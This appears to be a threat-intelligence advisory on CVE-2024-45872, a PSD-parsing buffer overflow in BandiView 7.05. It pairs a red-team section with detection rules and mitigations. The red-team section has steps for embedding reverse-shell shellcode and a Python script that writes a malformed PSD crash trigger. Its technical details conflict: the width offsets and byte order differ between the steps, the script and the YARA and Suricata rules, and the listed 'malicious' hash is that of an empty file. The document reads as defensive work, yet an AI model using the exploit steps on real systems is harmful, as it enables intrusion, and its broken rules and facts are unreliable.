CVE-2024-45872

Executive Summary

CVE-2024-45872 is a buffer overflow vulnerability in Bandisoft BandiView version 7.05. The flaw resides in the sub_0x410d1d function and is triggered by insufficient validation of PSD (Photoshop Document) files. Successful exploitation could allow an attacker to execute arbitrary code or cause a denial of service by crashing the application. The vulnerability has a CVSS score of 0.0 (placeholder), but based on the nature of buffer overflows in image parsers, the actual severity is likely high. No public proof-of-concept (PoC) or exploit code is available at this time, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone desktop application (BandiView) distributed by Bandisoft.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (buffer overflow in a file parser), a realistic assessment would be:

• Attack Vector (AV): Local (L) – requires the user to open a malicious PSD file.
• Attack Complexity (AC): Low (L) – no special conditions needed.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must open the file.
• Scope (S): Unchanged (U) – vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – potential for arbitrary code execution.
• Integrity (I): High (H) – attacker can modify memory.
• Availability (A): High (H) – crash or code execution.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Estimated Score: 7.8 (High)

Threat Level: High – due to the potential for remote code execution via a crafted PSD file.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the sub_0x410d1d function of BandiView 7.05. This function is responsible for parsing PSD files. The root cause is insufficient validation of the PSD file's header or data sections, leading to a write operation that exceeds the allocated buffer size.

Technical Details:

• Vulnerable Function: sub_0x410d1d (likely a decompiler-generated name).
• Trigger: Opening a specially crafted PSD file.
• Mechanism: The function reads data from the PSD file (e.g., image dimensions, color channels, or layer data) without proper bounds checking. An attacker can supply oversized values that cause the function to write beyond the heap or stack buffer.
• Impact: Overwriting adjacent memory can lead to arbitrary code execution or a denial of service (application crash).

Attack Vector:

1. Attacker crafts a malicious PSD file with oversized fields (e.g., width, height, or channel count).
2. Victim opens the file in BandiView 7.05.
3. The vulnerable function sub_0x410d1d processes the file and overflows a buffer.
4. The overflow corrupts critical data structures, potentially allowing the attacker to hijack execution flow.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison cannot be made. However, the vulnerable code likely lacks bounds checking on PSD file fields. A patched version would include:

• Input validation: Check that PSD header fields (e.g., width, height, depth) do not exceed expected limits.
• Safe memory operations: Use functions like memcpy_s or strncpy with size limits.
• Bounds checking: Before writing to a buffer, verify that the offset + length does not exceed the buffer size.

Hypothetical vulnerable code snippet (C-like):

void sub_0x410d1d(char *psd_data, int data_len) {
    char buffer[1024];
    int width = *(int*)(psd_data + 8);  // Read width from PSD header
    // No bounds check
    memcpy(buffer, psd_data + 12, width * 4);  // Overflow if width > 256
}

Hypothetical patched code:

void sub_0x410d1d(char *psd_data, int data_len) {
    char buffer[1024];
    int width = *(int*)(psd_data + 8);
    if (width > 256 || width * 4 > sizeof(buffer)) {
        // Handle error
        return;
    }
    memcpy(buffer, psd_data + 12, width * 4);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• BandiView 7.05 installed on a Windows target.
• Ability to deliver a malicious PSD file (e.g., via email, download, or USB).

Steps:

1. Craft the PSD file: Use a hex editor or a custom script to modify a valid PSD file. Overwrite the width field (offset 0x08 in the PSD header) with a large value (e.g., 0xFFFF).
2. Test locally: Open the crafted file in BandiView 7.05 on a test VM. Observe the crash or use a debugger (e.g., WinDbg) to confirm the overflow.
3. Develop exploit: Calculate the offset to overwrite the return address or SEH handler. Use a ROP chain to bypass DEP/ASLR if needed.
4. Deliver payload: Embed shellcode (e.g., reverse shell) in the PSD file. Ensure the payload is position-independent and fits within the overflow space.

Example Python script to generate a malformed PSD:

import struct

def create_malicious_psd(filename):
    # Minimal PSD header (signature + version + reserved + channels + height + width + depth + mode)
    header = b'8BPS'  # Signature
    header += struct.pack('>H', 1)  # Version
    header += b'\x00' * 6  # Reserved
    header += struct.pack('>H', 3)  # Channels (RGB)
    header += struct.pack('>I', 100)  # Height
    header += struct.pack('>I', 0xFFFF)  # Width (overflow trigger)
    header += struct.pack('>H', 8)  # Depth
    header += struct.pack('>H', 3)  # Mode (RGB)
    # Add padding to trigger overflow
    header += b'A' * 2000  # Overflow data
    with open(filename, 'wb') as f:
        f.write(header)

create_malicious_psd('exploit.psd')

Blue Team (Defense)

Detection:

• Monitor for unusual PSD files being opened by BandiView.
• Use endpoint detection and response (EDR) to detect crashes or anomalous memory access.
• Deploy application whitelisting to block untrusted PSD files.

Mitigation:

• Restrict execution of BandiView 7.05 until a patch is available.
• Use a sandbox or virtualized environment to open untrusted files.
• Implement file reputation checks (e.g., block PSD files from unknown sources).

Hunting:

• Search for event logs indicating BandiView crashes (Event ID 1000 in Windows Application logs).
• Look for network connections initiated by BandiView after a crash (potential reverse shell).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – generate after crafting a PoC)
  • malicious.psd: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Name: BandiView.exe
• Registry Keys: None known.
• Network Indicators: Outbound connections to attacker-controlled IPs (if exploit includes reverse shell).
• Behavioral: Application crash (Event ID 1000) with exception code 0xc0000005 (access violation).

Detection Engineering

YARA Rule

rule CVE_2024_45872_BandiView_PSD_Overflow {
    meta:
        description = "Detects malicious PSD files exploiting CVE-2024-45872 in BandiView 7.05"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45872"
    strings:
        $psd_header = "8BPS"  // PSD signature
        $large_width = { FF FF 00 00 }  // Width > 65535 (little-endian)
    condition:
        $psd_header at 0 and $large_width at 12
}

Sigma Rule

title: CVE-2024-45872 BandiView PSD Buffer Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects BandiView crashes caused by malicious PSD files
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 1000
        Application: 'BandiView.exe'
        ExceptionCode: '0xc0000005'
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45872 BandiView PSD Exploit Attempt"; flow:to_server; content:"8BPS"; offset:0; depth:4; content:"|FF FF 00 00|"; offset:12; depth:4; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or uninstall BandiView 7.05 until a patch is released.
2. Use an alternative image viewer that is actively maintained (e.g., IrfanView, XnView).
3. Implement file filtering to block PSD files from untrusted sources at the email gateway or web proxy.

Long-term Fix:

• Monitor Bandisoft's official website for a patched version (e.g., 7.06 or later).
• Apply the patch as soon as it becomes available.
• Update endpoint protection signatures to detect this exploit.

Workaround:

• If BandiView must be used, run it in a sandbox or with reduced privileges (e.g., using AppLocker or Windows Sandbox).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert